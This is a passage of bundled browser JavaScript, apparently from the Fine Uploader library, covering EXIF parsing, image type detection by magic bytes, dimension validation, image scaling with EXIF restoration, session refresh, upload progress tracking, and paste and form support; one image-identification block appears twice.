                result += parseInt(hex.substring(0, 2), 16) * Math.pow(2, pow);
                hex = hex.substring(2, hex.length);
                pow += 8;
            }
            return result;
        }
        function seekToApp1(offset, promise) {
            var theOffset = offset, thePromise = promise;
            if (theOffset === undefined) {
                theOffset = 2;
                thePromise = new qq.Promise();
            }
            qq.readBlobToHex(fileOrBlob, theOffset, 4).then(function(hex) {
                var match = /^ffe([0-9])/.exec(hex), segmentLength;
                if (match) {
                    if (match[1] !== "1") {
                        segmentLength = parseInt(hex.slice(4, 8), 16);
                        seekToApp1(theOffset + segmentLength + 2, thePromise);
                    } else {
                        thePromise.success(theOffset);
                    }
                } else {
                    thePromise.failure("No EXIF header to be found!");
                }
            });
            return thePromise;
        }
        function getApp1Offset() {
            var promise = new qq.Promise();
            qq.readBlobToHex(fileOrBlob, 0, 6).then(function(hex) {
                if (hex.indexOf("ffd8") !== 0) {
                    promise.failure("Not a valid JPEG!");
                } else {
                    seekToApp1().then(function(offset) {
                        promise.success(offset);
                    }, function(error) {
                        promise.failure(error);
                    });
                }
            });
            return promise;
        }
        function isLittleEndian(app1Start) {
            var promise = new qq.Promise();
            qq.readBlobToHex(fileOrBlob, app1Start + 10, 2).then(function(hex) {
                promise.success(hex === "4949");
            });
            return promise;
        }
        function getDirEntryCount(app1Start, littleEndian) {
            var promise = new qq.Promise();
            qq.readBlobToHex(fileOrBlob, app1Start + 18, 2).then(function(hex) {
                if (littleEndian) {
                    return promise.success(parseLittleEndian(hex));
                } else {
                    promise.success(parseInt(hex, 16));
                }
            });
            return promise;
        }
        function getIfd(app1Start, dirEntries) {
            var offset = app1Start + 20, bytes = dirEntries * 12;
            return qq.readBlobToHex(fileOrBlob, offset, bytes);
        }
        function getDirEntries(ifdHex) {
            var entries = [], offset = 0;
            while (offset + 24 <= ifdHex.length) {
                entries.push(ifdHex.slice(offset, offset + 24));
                offset += 24;
            }
            return entries;
        }
        function getTagValues(littleEndian, dirEntries) {
            var TAG_VAL_OFFSET = 16, tagsToFind = qq.extend([], TAG_IDS), vals = {};
            qq.each(dirEntries, function(idx, entry) {
                var idHex = entry.slice(0, 4), id = littleEndian ? parseLittleEndian(idHex) : parseInt(idHex, 16), tagsToFindIdx = tagsToFind.indexOf(id), tagValHex, tagName, tagValLength;
                if (tagsToFindIdx >= 0) {
                    tagName = TAG_INFO[id].name;
                    tagValLength = TAG_INFO[id].bytes;
                    tagValHex = entry.slice(TAG_VAL_OFFSET, TAG_VAL_OFFSET + tagValLength * 2);
                    vals[tagName] = littleEndian ? parseLittleEndian(tagValHex) : parseInt(tagValHex, 16);
                    tagsToFind.splice(tagsToFindIdx, 1);
                }
                if (tagsToFind.length === 0) {
                    return false;
                }
            });
            return vals;
        }
        qq.extend(this, {
            parse: function() {
                var parser = new qq.Promise(), onParseFailure = function(message) {
                    log(qq.format("EXIF header parse failed: '{}' ", message));
                    parser.failure(message);
                };
                getApp1Offset().then(function(app1Offset) {
                    log(qq.format("Moving forward with EXIF header parsing for '{}'", fileOrBlob.name === undefined ? "blob" : fileOrBlob.name));
                    isLittleEndian(app1Offset).then(function(littleEndian) {
                        log(qq.format("EXIF Byte order is {} endian", littleEndian ? "little" : "big"));
                        getDirEntryCount(app1Offset, littleEndian).then(function(dirEntryCount) {
                            log(qq.format("Found {} APP1 directory entries", dirEntryCount));
                            getIfd(app1Offset, dirEntryCount).then(function(ifdHex) {
                                var dirEntries = getDirEntries(ifdHex), tagValues = getTagValues(littleEndian, dirEntries);
                                log("Successfully parsed some EXIF tags");
                                parser.success(tagValues);
                            }, onParseFailure);
                        }, onParseFailure);
                    }, onParseFailure);
                }, onParseFailure);
                return parser;
            }
        });
        this._testing = {};
        this._testing.parseLittleEndian = parseLittleEndian;
    };
    qq.Identify = function(fileOrBlob, log) {
        "use strict";
        function isIdentifiable(magicBytes, questionableBytes) {
            var identifiable = false, magicBytesEntries = [].concat(magicBytes);
            qq.each(magicBytesEntries, function(idx, magicBytesArrayEntry) {
                if (questionableBytes.indexOf(magicBytesArrayEntry) === 0) {
                    identifiable = true;
                    return false;
                }
            });
            return identifiable;
        }
        qq.extend(this, {
            isPreviewable: function() {
                var self = this, identifier = new qq.Promise(), previewable = false, name = fileOrBlob.name === undefined ? "blob" : fileOrBlob.name;
                log(qq.format("Attempting to determine if {} can be rendered in this browser", name));
                log("First pass: check type attribute of blob object.");
                if (this.isPreviewableSync()) {
                    log("Second pass: check for magic bytes in file header.");
                    qq.readBlobToHex(fileOrBlob, 0, 4).then(function(hex) {
                        qq.each(self.PREVIEWABLE_MIME_TYPES, function(mime, bytes) {
                            if (isIdentifiable(bytes, hex)) {
                                if (mime !== "image/tiff" || qq.supportedFeatures.tiffPreviews) {
                                    previewable = true;
                                    identifier.success(mime);
                                }
                                return false;
                            }
                        });
                        log(qq.format("'{}' is {} able to be rendered in this browser", name, previewable ? "" : "NOT"));
                        if (!previewable) {
                            identifier.failure();
                        }
                    }, function() {
                        log("Error reading file w/ name '" + name + "'.  Not able to be rendered in this browser.");
                        identifier.failure();
                    });
                } else {
                    identifier.failure();
                }
                return identifier;
            },
            isPreviewableSync: function() {
                var fileMime = fileOrBlob.type, isRecognizedImage = qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES), fileMime) >= 0, previewable = false, name = fileOrBlob.name === undefined ? "blob" : fileOrBlob.name;
                if (isRecognizedImage) {
                    if (fileMime === "image/tiff") {
                        previewable = qq.supportedFeatures.tiffPreviews;
                    } else {
                        previewable = true;
                    }
                }
                !previewable && log(name + " is not previewable in this browser per the blob's type attr");
                return previewable;
            }
        });
    };
    qq.Identify.prototype.PREVIEWABLE_MIME_TYPES = {
        "image/jpeg": "ffd8ff",
        "image/gif": "474946",
        "image/png": "89504e",
        "image/bmp": "424d",
        "image/tiff": [ "49492a00", "4d4d002a" ]
    };
    qq.Identify = function(fileOrBlob, log) {
        "use strict";
        function isIdentifiable(magicBytes, questionableBytes) {
            var identifiable = false, magicBytesEntries = [].concat(magicBytes);
            qq.each(magicBytesEntries, function(idx, magicBytesArrayEntry) {
                if (questionableBytes.indexOf(magicBytesArrayEntry) === 0) {
                    identifiable = true;
                    return false;
                }
            });
            return identifiable;
        }
        qq.extend(this, {
            isPreviewable: function() {
                var self = this, identifier = new qq.Promise(), previewable = false, name = fileOrBlob.name === undefined ? "blob" : fileOrBlob.name;
                log(qq.format("Attempting to determine if {} can be rendered in this browser", name));
                log("First pass: check type attribute of blob object.");
                if (this.isPreviewableSync()) {
                    log("Second pass: check for magic bytes in file header.");
                    qq.readBlobToHex(fileOrBlob, 0, 4).then(function(hex) {
                        qq.each(self.PREVIEWABLE_MIME_TYPES, function(mime, bytes) {
                            if (isIdentifiable(bytes, hex)) {
                                if (mime !== "image/tiff" || qq.supportedFeatures.tiffPreviews) {
                                    previewable = true;
                                    identifier.success(mime);
                                }
                                return false;
                            }
                        });
                        log(qq.format("'{}' is {} able to be rendered in this browser", name, previewable ? "" : "NOT"));
                        if (!previewable) {
                            identifier.failure();
                        }
                    }, function() {
                        log("Error reading file w/ name '" + name + "'.  Not able to be rendered in this browser.");
                        identifier.failure();
                    });
                } else {
                    identifier.failure();
                }
                return identifier;
            },
            isPreviewableSync: function() {
                var fileMime = fileOrBlob.type, isRecognizedImage = qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES), fileMime) >= 0, previewable = false, name = fileOrBlob.name === undefined ? "blob" : fileOrBlob.name;
                if (isRecognizedImage) {
                    if (fileMime === "image/tiff") {
                        previewable = qq.supportedFeatures.tiffPreviews;
                    } else {
                        previewable = true;
                    }
                }
                !previewable && log(name + " is not previewable in this browser per the blob's type attr");
                return previewable;
            }
        });
    };
    qq.Identify.prototype.PREVIEWABLE_MIME_TYPES = {
        "image/jpeg": "ffd8ff",
        "image/gif": "474946",
        "image/png": "89504e",
        "image/bmp": "424d",
        "image/tiff": [ "49492a00", "4d4d002a" ]
    };
    qq.ImageValidation = function(blob, log) {
        "use strict";
        function hasNonZeroLimits(limits) {
            var atLeastOne = false;
            qq.each(limits, function(limit, value) {
                if (value > 0) {
                    atLeastOne = true;
                    return false;
                }
            });
            return atLeastOne;
        }
        function getWidthHeight() {
            var sizeDetermination = new qq.Promise();
            new qq.Identify(blob, log).isPreviewable().then(function() {
                var image = new Image(), url = window.URL && window.URL.createObjectURL ? window.URL : window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL : null;
                if (url) {
                    image.onerror = function() {
                        log("Cannot determine dimensions for image.  May be too large.", "error");
                        sizeDetermination.failure();
                    };
                    image.onload = function() {
                        sizeDetermination.success({
                            width: this.width,
                            height: this.height
                        });
                    };
                    image.src = url.createObjectURL(blob);
                } else {
                    log("No createObjectURL function available to generate image URL!", "error");
                    sizeDetermination.failure();
                }
            }, sizeDetermination.failure);
            return sizeDetermination;
        }
        function getFailingLimit(limits, dimensions) {
            var failingLimit;
            qq.each(limits, function(limitName, limitValue) {
                if (limitValue > 0) {
                    var limitMatcher = /(max|min)(Width|Height)/.exec(limitName), dimensionPropName = limitMatcher[2].charAt(0).toLowerCase() + limitMatcher[2].slice(1), actualValue = dimensions[dimensionPropName];
                    switch (limitMatcher[1]) {
                      case "min":
                        if (actualValue < limitValue) {
                            failingLimit = limitName;
                            return false;
                        }
                        break;

                      case "max":
                        if (actualValue > limitValue) {
                            failingLimit = limitName;
                            return false;
                        }
                        break;
                    }
                }
            });
            return failingLimit;
        }
        this.validate = function(limits) {
            var validationEffort = new qq.Promise();
            log("Attempting to validate image.");
            if (hasNonZeroLimits(limits)) {
                getWidthHeight().then(function(dimensions) {
                    var failingLimit = getFailingLimit(limits, dimensions);
                    if (failingLimit) {
                        validationEffort.failure(failingLimit);
                    } else {
                        validationEffort.success();
                    }
                }, validationEffort.success);
            } else {
                validationEffort.success();
            }
            return validationEffort;
        };
    };
    qq.Session = function(spec) {
        "use strict";
        var options = {
            endpoint: null,
            params: {},
            customHeaders: {},
            cors: {},
            addFileRecord: function(sessionData) {},
            log: function(message, level) {}
        };
        qq.extend(options, spec, true);
        function isJsonResponseValid(response) {
            if (qq.isArray(response)) {
                return true;
            }
            options.log("Session response is not an array.", "error");
        }
        function handleFileItems(fileItems, success, xhrOrXdr, promise) {
            var someItemsIgnored = false;
            success = success && isJsonResponseValid(fileItems);
            if (success) {
                qq.each(fileItems, function(idx, fileItem) {
                    if (fileItem.uuid == null) {
                        someItemsIgnored = true;
                        options.log(qq.format("Session response item {} did not include a valid UUID - ignoring.", idx), "error");
                    } else if (fileItem.name == null) {
                        someItemsIgnored = true;
                        options.log(qq.format("Session response item {} did not include a valid name - ignoring.", idx), "error");
                    } else {
                        try {
                            options.addFileRecord(fileItem);
                            return true;
                        } catch (err) {
                            someItemsIgnored = true;
                            options.log(err.message, "error");
                        }
                    }
                    return false;
                });
            }
            promise[success && !someItemsIgnored ? "success" : "failure"](fileItems, xhrOrXdr);
        }
        this.refresh = function() {
            var refreshEffort = new qq.Promise(), refreshCompleteCallback = function(response, success, xhrOrXdr) {
                handleFileItems(response, success, xhrOrXdr, refreshEffort);
            }, requesterOptions = qq.extend({}, options), requester = new qq.SessionAjaxRequester(qq.extend(requesterOptions, {
                onComplete: refreshCompleteCallback
            }));
            requester.queryServer();
            return refreshEffort;
        };
    };
    qq.SessionAjaxRequester = function(spec) {
        "use strict";
        var requester, options = {
            endpoint: null,
            customHeaders: {},
            params: {},
            cors: {
                expected: false,
                sendCredentials: false
            },
            onComplete: function(response, success, xhrOrXdr) {},
            log: function(str, level) {}
        };
        qq.extend(options, spec);
        function onComplete(id, xhrOrXdr, isError) {
            var response = null;
            if (xhrOrXdr.responseText != null) {
                try {
                    response = qq.parseJson(xhrOrXdr.responseText);
                } catch (err) {
                    options.log("Problem parsing session response: " + err.message, "error");
                    isError = true;
                }
            }
            options.onComplete(response, !isError, xhrOrXdr);
        }
        requester = qq.extend(this, new qq.AjaxRequester({
            acceptHeader: "application/json",
            validMethods: [ "GET" ],
            method: "GET",
            endpointStore: {
                get: function() {
                    return options.endpoint;
                }
            },
            customHeaders: options.customHeaders,
            log: options.log,
            onComplete: onComplete,
            cors: options.cors
        }));
        qq.extend(this, {
            queryServer: function() {
                var params = qq.extend({}, options.params);
                options.log("Session query request.");
                requester.initTransport("sessionRefresh").withParams(params).withCacheBuster().send();
            }
        });
    };
    qq.Scaler = function(spec, log) {
        "use strict";
        var self = this, customResizeFunction = spec.customResizer, includeOriginal = spec.sendOriginal, orient = spec.orient, defaultType = spec.defaultType, defaultQuality = spec.defaultQuality / 100, failedToScaleText = spec.failureText, includeExif = spec.includeExif, sizes = this._getSortedSizes(spec.sizes);
        qq.extend(this, {
            enabled: qq.supportedFeatures.scaling && sizes.length > 0,
            getFileRecords: function(originalFileUuid, originalFileName, originalBlobOrBlobData) {
                var self = this, records = [], originalBlob = originalBlobOrBlobData.blob ? originalBlobOrBlobData.blob : originalBlobOrBlobData, identifier = new qq.Identify(originalBlob, log);
                if (identifier.isPreviewableSync()) {
                    qq.each(sizes, function(idx, sizeRecord) {
                        var outputType = self._determineOutputType({
                            defaultType: defaultType,
                            requestedType: sizeRecord.type,
                            refType: originalBlob.type
                        });
                        records.push({
                            uuid: qq.getUniqueId(),
                            name: self._getName(originalFileName, {
                                name: sizeRecord.name,
                                type: outputType,
                                refType: originalBlob.type
                            }),
                            blob: new qq.BlobProxy(originalBlob, qq.bind(self._generateScaledImage, self, {
                                customResizeFunction: customResizeFunction,
                                maxSize: sizeRecord.maxSize,
                                orient: orient,
                                type: outputType,
                                quality: defaultQuality,
                                failedText: failedToScaleText,
                                includeExif: includeExif,
                                log: log
                            }))
                        });
                    });
                    records.push({
                        uuid: originalFileUuid,
                        name: originalFileName,
                        size: originalBlob.size,
                        blob: includeOriginal ? originalBlob : null
                    });
                } else {
                    records.push({
                        uuid: originalFileUuid,
                        name: originalFileName,
                        size: originalBlob.size,
                        blob: originalBlob
                    });
                }
                return records;
            },
            handleNewFile: function(file, name, uuid, size, fileList, batchId, uuidParamName, api) {
                var self = this, buttonId = file.qqButtonId || file.blob && file.blob.qqButtonId, scaledIds = [], originalId = null, addFileToHandler = api.addFileToHandler, uploadData = api.uploadData, paramsStore = api.paramsStore, proxyGroupId = qq.getUniqueId();
                qq.each(self.getFileRecords(uuid, name, file), function(idx, record) {
                    var blobSize = record.size, id;
                    if (record.blob instanceof qq.BlobProxy) {
                        blobSize = -1;
                    }
                    id = uploadData.addFile({
                        uuid: record.uuid,
                        name: record.name,
                        size: blobSize,
                        batchId: batchId,
                        proxyGroupId: proxyGroupId
                    });
                    if (record.blob instanceof qq.BlobProxy) {
                        scaledIds.push(id);
                    } else {
                        originalId = id;
                    }
                    if (record.blob) {
                        addFileToHandler(id, record.blob);
                        fileList.push({
                            id: id,
                            file: record.blob
                        });
                    } else {
                        uploadData.setStatus(id, qq.status.REJECTED);
                    }
                });
                if (originalId !== null) {
                    qq.each(scaledIds, function(idx, scaledId) {
                        var params = {
                            qqparentuuid: uploadData.retrieve({
                                id: originalId
                            }).uuid,
                            qqparentsize: uploadData.retrieve({
                                id: originalId
                            }).size
                        };
                        params[uuidParamName] = uploadData.retrieve({
                            id: scaledId
                        }).uuid;
                        uploadData.setParentId(scaledId, originalId);
                        paramsStore.addReadOnly(scaledId, params);
                    });
                    if (scaledIds.length) {
                        (function() {
                            var param = {};
                            param[uuidParamName] = uploadData.retrieve({
                                id: originalId
                            }).uuid;
                            paramsStore.addReadOnly(originalId, param);
                        })();
                    }
                }
            }
        });
    };
    qq.extend(qq.Scaler.prototype, {
        scaleImage: function(id, specs, api) {
            "use strict";
            if (!qq.supportedFeatures.scaling) {
                throw new qq.Error("Scaling is not supported in this browser!");
            }
            var scalingEffort = new qq.Promise(), log = api.log, file = api.getFile(id), uploadData = api.uploadData.retrieve({
                id: id
            }), name = uploadData && uploadData.name, uuid = uploadData && uploadData.uuid, scalingOptions = {
                customResizer: specs.customResizer,
                sendOriginal: false,
                orient: specs.orient,
                defaultType: specs.type || null,
                defaultQuality: specs.quality,
                failedToScaleText: "Unable to scale",
                sizes: [ {
                    name: "",
                    maxSize: specs.maxSize
                } ]
            }, scaler = new qq.Scaler(scalingOptions, log);
            if (!qq.Scaler || !qq.supportedFeatures.imagePreviews || !file) {
                scalingEffort.failure();
                log("Could not generate requested scaled image for " + id + ".  " + "Scaling is either not possible in this browser, or the file could not be located.", "error");
            } else {
                qq.bind(function() {
                    var record = scaler.getFileRecords(uuid, name, file)[0];
                    if (record && record.blob instanceof qq.BlobProxy) {
                        record.blob.create().then(scalingEffort.success, scalingEffort.failure);
                    } else {
                        log(id + " is not a scalable image!", "error");
                        scalingEffort.failure();
                    }
                }, this)();
            }
            return scalingEffort;
        },
        _determineOutputType: function(spec) {
            "use strict";
            var requestedType = spec.requestedType, defaultType = spec.defaultType, referenceType = spec.refType;
            if (!defaultType && !requestedType) {
                if (referenceType !== "image/jpeg") {
                    return "image/png";
                }
                return referenceType;
            }
            if (!requestedType) {
                return defaultType;
            }
            if (qq.indexOf(Object.keys(qq.Identify.prototype.PREVIEWABLE_MIME_TYPES), requestedType) >= 0) {
                if (requestedType === "image/tiff") {
                    return qq.supportedFeatures.tiffPreviews ? requestedType : defaultType;
                }
                return requestedType;
            }
            return defaultType;
        },
        _getName: function(originalName, scaledVersionProperties) {
            "use strict";
            var startOfExt = originalName.lastIndexOf("."), versionType = scaledVersionProperties.type || "image/png", referenceType = scaledVersionProperties.refType, scaledName = "", scaledExt = qq.getExtension(originalName), nameAppendage = "";
            if (scaledVersionProperties.name && scaledVersionProperties.name.trim().length) {
                nameAppendage = " (" + scaledVersionProperties.name + ")";
            }
            if (startOfExt >= 0) {
                scaledName = originalName.substr(0, startOfExt);
                if (referenceType !== versionType) {
                    scaledExt = versionType.split("/")[1];
                }
                scaledName += nameAppendage + "." + scaledExt;
            } else {
                scaledName = originalName + nameAppendage;
            }
            return scaledName;
        },
        _getSortedSizes: function(sizes) {
            "use strict";
            sizes = qq.extend([], sizes);
            return sizes.sort(function(a, b) {
                if (a.maxSize > b.maxSize) {
                    return 1;
                }
                if (a.maxSize < b.maxSize) {
                    return -1;
                }
                return 0;
            });
        },
        _generateScaledImage: function(spec, sourceFile) {
            "use strict";
            var self = this, customResizeFunction = spec.customResizeFunction, log = spec.log, maxSize = spec.maxSize, orient = spec.orient, type = spec.type, quality = spec.quality, failedText = spec.failedText, includeExif = spec.includeExif && sourceFile.type === "image/jpeg" && type === "image/jpeg", scalingEffort = new qq.Promise(), imageGenerator = new qq.ImageGenerator(log), canvas = document.createElement("canvas");
            log("Attempting to generate scaled version for " + sourceFile.name);
            imageGenerator.generate(sourceFile, canvas, {
                maxSize: maxSize,
                orient: orient,
                customResizeFunction: customResizeFunction
            }).then(function() {
                var scaledImageDataUri = canvas.toDataURL(type, quality), signalSuccess = function() {
                    log("Success generating scaled version for " + sourceFile.name);
                    var blob = qq.dataUriToBlob(scaledImageDataUri);
                    scalingEffort.success(blob);
                };
                if (includeExif) {
                    self._insertExifHeader(sourceFile, scaledImageDataUri, log).then(function(scaledImageDataUriWithExif) {
                        scaledImageDataUri = scaledImageDataUriWithExif;
                        signalSuccess();
                    }, function() {
                        log("Problem inserting EXIF header into scaled image.  Using scaled image w/out EXIF data.", "error");
                        signalSuccess();
                    });
                } else {
                    signalSuccess();
                }
            }, function() {
                log("Failed attempt to generate scaled version for " + sourceFile.name, "error");
                scalingEffort.failure(failedText);
            });
            return scalingEffort;
        },
        _insertExifHeader: function(originalImage, scaledImageDataUri, log) {
            "use strict";
            var reader = new FileReader(), insertionEffort = new qq.Promise(), originalImageDataUri = "";
            reader.onload = function() {
                originalImageDataUri = reader.result;
                insertionEffort.success(qq.ExifRestorer.restore(originalImageDataUri, scaledImageDataUri));
            };
            reader.onerror = function() {
                log("Problem reading " + originalImage.name + " during attempt to transfer EXIF data to scaled version.", "error");
                insertionEffort.failure();
            };
            reader.readAsDataURL(originalImage);
            return insertionEffort;
        },
        _dataUriToBlob: function(dataUri) {
            "use strict";
            var byteString, mimeString, arrayBuffer, intArray;
            if (dataUri.split(",")[0].indexOf("base64") >= 0) {
                byteString = atob(dataUri.split(",")[1]);
            } else {
                byteString = decodeURI(dataUri.split(",")[1]);
            }
            mimeString = dataUri.split(",")[0].split(":")[1].split(";")[0];
            arrayBuffer = new ArrayBuffer(byteString.length);
            intArray = new Uint8Array(arrayBuffer);
            qq.each(byteString, function(idx, character) {
                intArray[idx] = character.charCodeAt(0);
            });
            return this._createBlob(arrayBuffer, mimeString);
        },
        _createBlob: function(data, mime) {
            "use strict";
            var BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder || window.MSBlobBuilder, blobBuilder = BlobBuilder && new BlobBuilder();
            if (blobBuilder) {
                blobBuilder.append(data);
                return blobBuilder.getBlob(mime);
            } else {
                return new Blob([ data ], {
                    type: mime
                });
            }
        }
    });
    qq.ExifRestorer = function() {
        var ExifRestorer = {};
        ExifRestorer.KEY_STR = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";
        ExifRestorer.encode64 = function(input) {
            var output = "", chr1, chr2, chr3 = "", enc1, enc2, enc3, enc4 = "", i = 0;
            do {
                chr1 = input[i++];
                chr2 = input[i++];
                chr3 = input[i++];
                enc1 = chr1 >> 2;
                enc2 = (chr1 & 3) << 4 | chr2 >> 4;
                enc3 = (chr2 & 15) << 2 | chr3 >> 6;
                enc4 = chr3 & 63;
                if (isNaN(chr2)) {
                    enc3 = enc4 = 64;
                } else if (isNaN(chr3)) {
                    enc4 = 64;
                }
                output = output + this.KEY_STR.charAt(enc1) + this.KEY_STR.charAt(enc2) + this.KEY_STR.charAt(enc3) + this.KEY_STR.charAt(enc4);
                chr1 = chr2 = chr3 = "";
                enc1 = enc2 = enc3 = enc4 = "";
            } while (i < input.length);
            return output;
        };
        ExifRestorer.restore = function(origFileBase64, resizedFileBase64) {
            var expectedBase64Header = "data:image/jpeg;base64,";
            if (!origFileBase64.match(expectedBase64Header)) {
                return resizedFileBase64;
            }
            var rawImage = this.decode64(origFileBase64.replace(expectedBase64Header, ""));
            var segments = this.slice2Segments(rawImage);
            var image = this.exifManipulation(resizedFileBase64, segments);
            return expectedBase64Header + this.encode64(image);
        };
        ExifRestorer.exifManipulation = function(resizedFileBase64, segments) {
            var exifArray = this.getExifArray(segments), newImageArray = this.insertExif(resizedFileBase64, exifArray), aBuffer = new Uint8Array(newImageArray);
            return aBuffer;
        };
        ExifRestorer.getExifArray = function(segments) {
            var seg;
            for (var x = 0; x < segments.length; x++) {
                seg = segments[x];
                if (seg[0] == 255 & seg[1] == 225) {
                    return seg;
                }
            }
            return [];
        };
        ExifRestorer.insertExif = function(resizedFileBase64, exifArray) {
            var imageData = resizedFileBase64.replace("data:image/jpeg;base64,", ""), buf = this.decode64(imageData), separatePoint = buf.indexOf(255, 3), mae = buf.slice(0, separatePoint), ato = buf.slice(separatePoint), array = mae;
            array = array.concat(exifArray);
            array = array.concat(ato);
            return array;
        };
        ExifRestorer.slice2Segments = function(rawImageArray) {
            var head = 0, segments = [];
            while (1) {
                if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 218) {
                    break;
                }
                if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 216) {
                    head += 2;
                } else {
                    var length = rawImageArray[head + 2] * 256 + rawImageArray[head + 3], endPoint = head + length + 2, seg = rawImageArray.slice(head, endPoint);
                    segments.push(seg);
                    head = endPoint;
                }
                if (head > rawImageArray.length) {
                    break;
                }
            }
            return segments;
        };
        ExifRestorer.decode64 = function(input) {
            var output = "", chr1, chr2, chr3 = "", enc1, enc2, enc3, enc4 = "", i = 0, buf = [];
            var base64test = /[^A-Za-z0-9\+\/\=]/g;
            if (base64test.exec(input)) {
                throw new Error("There were invalid base64 characters in the input text.  " + "Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='");
            }
            input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
            do {
                enc1 = this.KEY_STR.indexOf(input.charAt(i++));
                enc2 = this.KEY_STR.indexOf(input.charAt(i++));
                enc3 = this.KEY_STR.indexOf(input.charAt(i++));
                enc4 = this.KEY_STR.indexOf(input.charAt(i++));
                chr1 = enc1 << 2 | enc2 >> 4;
                chr2 = (enc2 & 15) << 4 | enc3 >> 2;
                chr3 = (enc3 & 3) << 6 | enc4;
                buf.push(chr1);
                if (enc3 != 64) {
                    buf.push(chr2);
                }
                if (enc4 != 64) {
                    buf.push(chr3);
                }
                chr1 = chr2 = chr3 = "";
                enc1 = enc2 = enc3 = enc4 = "";
            } while (i < input.length);
            return buf;
        };
        return ExifRestorer;
    }();
    qq.TotalProgress = function(callback, getSize) {
        "use strict";
        var perFileProgress = {}, totalLoaded = 0, totalSize = 0, lastLoadedSent = -1, lastTotalSent = -1, callbackProxy = function(loaded, total) {
            if (loaded !== lastLoadedSent || total !== lastTotalSent) {
                callback(loaded, total);
            }
            lastLoadedSent = loaded;
            lastTotalSent = total;
        }, noRetryableFiles = function(failed, retryable) {
            var none = true;
            qq.each(failed, function(idx, failedId) {
                if (qq.indexOf(retryable, failedId) >= 0) {
                    none = false;
                    return false;
                }
            });
            return none;
        }, onCancel = function(id) {
            updateTotalProgress(id, -1, -1);
            delete perFileProgress[id];
        }, onAllComplete = function(successful, failed, retryable) {
            if (failed.length === 0 || noRetryableFiles(failed, retryable)) {
                callbackProxy(totalSize, totalSize);
                this.reset();
            }
        }, onNew = function(id) {
            var size = getSize(id);
            if (size > 0) {
                updateTotalProgress(id, 0, size);
                perFileProgress[id] = {
                    loaded: 0,
                    total: size
                };
            }
        }, updateTotalProgress = function(id, newLoaded, newTotal) {
            var oldLoaded = perFileProgress[id] ? perFileProgress[id].loaded : 0, oldTotal = perFileProgress[id] ? perFileProgress[id].total : 0;
            if (newLoaded === -1 && newTotal === -1) {
                totalLoaded -= oldLoaded;
                totalSize -= oldTotal;
            } else {
                if (newLoaded) {
                    totalLoaded += newLoaded - oldLoaded;
                }
                if (newTotal) {
                    totalSize += newTotal - oldTotal;
                }
            }
            callbackProxy(totalLoaded, totalSize);
        };
        qq.extend(this, {
            onAllComplete: onAllComplete,
            onStatusChange: function(id, oldStatus, newStatus) {
                if (newStatus === qq.status.CANCELED || newStatus === qq.status.REJECTED) {
                    onCancel(id);
                } else if (newStatus === qq.status.SUBMITTING) {
                    onNew(id);
                }
            },
            onIndividualProgress: function(id, loaded, total) {
                updateTotalProgress(id, loaded, total);
                perFileProgress[id] = {
                    loaded: loaded,
                    total: total
                };
            },
            onNewSize: function(id) {
                onNew(id);
            },
            reset: function() {
                perFileProgress = {};
                totalLoaded = 0;
                totalSize = 0;
            }
        });
    };
    qq.PasteSupport = function(o) {
        "use strict";
        var options, detachPasteHandler;
        options = {
            targetElement: null,
            callbacks: {
                log: function(message, level) {},
                pasteReceived: function(blob) {}
            }
        };
        function isImage(item) {
            return item.type && item.type.indexOf("image/") === 0;
        }
        function registerPasteHandler() {
            detachPasteHandler = qq(options.targetElement).attach("paste", function(event) {
                var clipboardData = event.clipboardData;
                if (clipboardData) {
                    qq.each(clipboardData.items, function(idx, item) {
                        if (isImage(item)) {
                            var blob = item.getAsFile();
                            options.callbacks.pasteReceived(blob);
                        }
                    });
                }
            });
        }
        function unregisterPasteHandler() {
            if (detachPasteHandler) {
                detachPasteHandler();
            }
        }
        qq.extend(options, o);
        registerPasteHandler();
        qq.extend(this, {
            reset: function() {
                unregisterPasteHandler();
            }
        });
    };
    qq.FormSupport = function(options, startUpload, log) {
        "use strict";
        var self = this, interceptSubmit = options.interceptSubmit, formEl = options.element, autoUpload = options.autoUpload;
        qq.extend(this, {
            newEndpoint: null,
            newAutoUpload: autoUpload,
            attachedToForm: false,
            getFormInputsAsObject: function() {
                if (formEl == null) {
                    return null;
                }
                return self._form2Obj(formEl);
            }
        });
        function determineNewEndpoint(formEl) {
            if (formEl.getAttribute("action")) {
                self.newEndpoint = formEl.getAttribute("action");
            }
        }
        function validateForm(formEl, nativeSubmit) {
            if (formEl.checkValidity && !formEl.checkValidity()) {
                log("Form did not pass validation checks - will not upload.", "error");
                nativeSubmit();
            } else {
                return true;
            }
        }
        function maybeUploadOnSubmit(formEl) {
            var nativeSubmit = formEl.submit;
            qq(formEl).attach("submit", function(event) {
                event = event || window.event;
                if (event.preventDefault) {
                    event.preventDefault();
                } else {
                    event.returnValue = false;
                }
                validateForm(formEl, nativeSubmit) && startUpload();
            });
            formEl.submit = function() {
                validateForm(formEl, nativeSubmit) && startUpload();
            };
        }
        function determineFormEl(formEl) {
            if (formEl) {
                if (qq.isString(formEl)) {
                    formEl = document.getElementById(formEl);
                }
                if (formEl) {
                    log("Attaching to form element.");
                    determineNewEndpoint(formEl);
                    interceptSubmit && maybeUploadOnSubmit(formEl);
                }
            }
            return formEl;
        }
        formEl = determineFormEl(formEl);
        this.attachedToForm = !!formEl;
    };
    qq.extend(qq.FormSupport.prototype, {
        _form2Obj: function(form) {
            "use strict";
            var obj = {}, notIrrelevantType = function(type) {
                var irrelevantTypes = [ "button", "image", "reset", "submit" ];
                return qq.indexOf(irrelevantTypes, type.toLowerCase()) < 0;
            }, radioOrCheckbox = function(type) {
                return qq.indexOf([ "checkbox", "radio" ], type.toLowerCase()) >= 0;
            }, ignoreValue = function(el) {
                if (radioOrCheckbox(el.type) && !el.checked) {
                    return true;
                }
                return el.disabled && el.type.toLowerCase() !== "hidden";
            }, selectValue = function(select) {
                var value = null;
                qq.each(qq(select).children(), function(idx, child) {
                    if (child.tagName.toLowerCase() === "option" && child.selected) {
                        value = child.value;
                        return false;
                    }
                });
                return value;
            };
            qq.each(form.elements, function(idx, el) {
